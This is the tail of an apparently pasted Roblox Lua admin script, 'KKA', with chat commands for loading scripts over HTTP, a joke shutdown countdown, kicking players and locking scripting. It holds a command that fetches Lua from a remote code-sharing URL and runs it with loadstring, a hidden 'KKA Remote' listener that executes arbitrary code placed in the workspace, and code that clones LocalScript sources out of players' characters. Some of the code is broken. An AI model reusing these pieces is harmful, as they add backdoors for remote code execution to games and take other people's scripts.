- Output("Source found",Seaker,5)
- break
- end
- end
- wait()
- end
- for j,k in pairs(v.Character:children()) do
- if LSource ~= nil then break end
- if k.ClassName == 'LocalScript' then
- if k:findFirstChild(SourceName) ~= nil then
- k.Archivable = true
- LSource = k:Clone()
- LSource.Disabled = true
- Output("Source found",Speaker,5)
- break
- end
- end
- wait()
- end
- end)
- end
- end
- end)()
- end)
- Command("Hload", 7, "Creates a HttpService script", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local Person = tostring(Msg:sub(Split - 1))
- local Stypi = tostring(Msg:sub(Split + 1))
- NewS([[
- a,b = pcall(function()
- h = game:service'HttpService'
- link = 'https://code.stypi.com/raw/]]..Person..[[/]]..Stypi..[[.lua'
- scr = h:GetAsync(link,true)
- loadstring(scr)()
- script.Parent:Remove()
- script:Remove()
- end) if not a then Instance.new("Hint",workspace).Text = b end
- ]], game.Workspace)
- end)
- Command("KKAR", 7, "Removes The Admin", function(Msg, Speaker)
- Dismiss()
- Removed = true
- for i,v in pairs(getfenv(1)) do
- getfenv(1)[i] = nil
- end
- script.Disabled = true
- end)
- end)
- Command("Shutdown", 3, "Shuts the server down", function(Msg, Speaker)
- Dismiss()
- SystemMsg("Shutting down server...")
- wait(6)
- SystemMsg("The shutdown command has been used!")
- wait(6)
- SystemMsg("The server will shutdown in 5 seconds!")
- wait(6)
- SystemMsg("4!")
- wait(6)
- SystemMsg("Hold on,Door's ringing.")
- wait(6)
- SystemMsg("That was a bummer,I forgot to eat my taco.")
- wait(6)
- SystemMsg("Delishous!")
- wait(6)
- SystemMsg("Wait, what second was i on again?")
- wait(6)
- SystemMsg("Oh right, 5 seconds.")
- wait(6)
- SystemMsg("Hold on, I just woke up and i need to eat pancakes.")
- wait(6)
- SystemMsg("There we go! Full on breakfeast!")
- wait(6)
- SystemMsg("Shutting down the server in 4 seconds.")
- wait(6)
- SystemMsg("Naw, I'm tried ,so i'll just take a nap.")
- wait(6)
- SystemMsg("*Hears explosions*")
- wait(6)
- SystemMsg("OMG NOOBS ARE BLOWING UP MY HOUSE!")
- wait(6)
- SystemMsg("X_X")
- wait(6)
- SystemMsg("Wait i came back to life..")
- wait(6)
- SystemMsg("NEVERMIND!!!")
- wait(6)
- SystemMsg("Noob:I EXPLODE HOUSE! DIE!")
- wait(6)
- SystemMsg("Police:Your arrested noob!")
- wait(6)
- Output("The shutdown failed,",Speaker,5)
- end)
- local con = game:service'Workspace'.descendantAdded:connect(function(asd)
- if asd.ClassName == 'StringValue' then
- if asd.Name == 'LolCon' then
- local k = asd.Value:find('\31')
- local plr = asd.Value:sub(1,tonumber(k)-1)
- local msg = asd.Value:sub(tonumber(k)+1)
- onChatted(plr,msg)
- elseif asd.Name == "KKA Remote" then
- local func = loadstring(asd.Value)
- if func then asd:Destroy() return pcall(func) end
- end asd:Destroy()
- end
- end)
- Chats[#Chats+1] = con
- game.Workspace.descendantAdded:connect(function(a)
- if a.ClassName == 'Script' then
- if ScriptingLocked and a.Name ~= "0" then
- a.Disabled = true a:Destroy()
- end
- end
- end)
- while wait() do
- for _,v in pairs (game.Players:players()) do
- v.Backpack.descendentAdded:connect(function(a2)
- if a.ClassName == 'LocalScript' then
- if ScriptingLocked and a.Name ~= "0" then
- a2.Disabled = true
- a2:remove()
- end
- end
- end)
- end
- end
- coroutine.wrap(function()
- while wait() do
- for _,v in pairs (game.Players:players()) do
- if v.Backpack then
- Connect(v)
- Output(v.Name.." has joined the server", Speaker)
- elseif Priv == true and not v.Name:match("^[Ee]insteinK$") then
- if FindRank(v) < 1 then
- Output(v.Name.." has been kicked due to private server", Speaker)
- wait(1)
- v:Kick()
- end
- end
- end
- end
- end)
- game.Players.PlayerAdded:connect(function(hi)
- for _,v in pairs(game:service'Players'.Parent.Players:children()) do
- if FindRank(v.Name) > 2 and FindRank(v.Name) < 8 then
- pcall(function() Output("Connected: "..tostring(hi),v,3) end)
- end
- end
- end)
- game:service'Players'.PlayerAdded:connect(function()
- for _,v in pairs (game.Players:players()) do
- for _,w in pairs (CrashWords) do
- v.Chatted:Connect(function(Msg)
- if CrashPhrases == true then
- if Msg == tostring(w) and FindRank(v.Name) <= 3 and not v.Name:match("^[Ee]insteinK$") then
- Output("Player ["..v.Name.."] has been kicked for saying "..w, Speaker, 5)
- v:Kick()
- end
- end
- end)
- end
- end
- end)
- game:service'RunService'.Stepped:connect(UpdateNilPlayerTablets)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement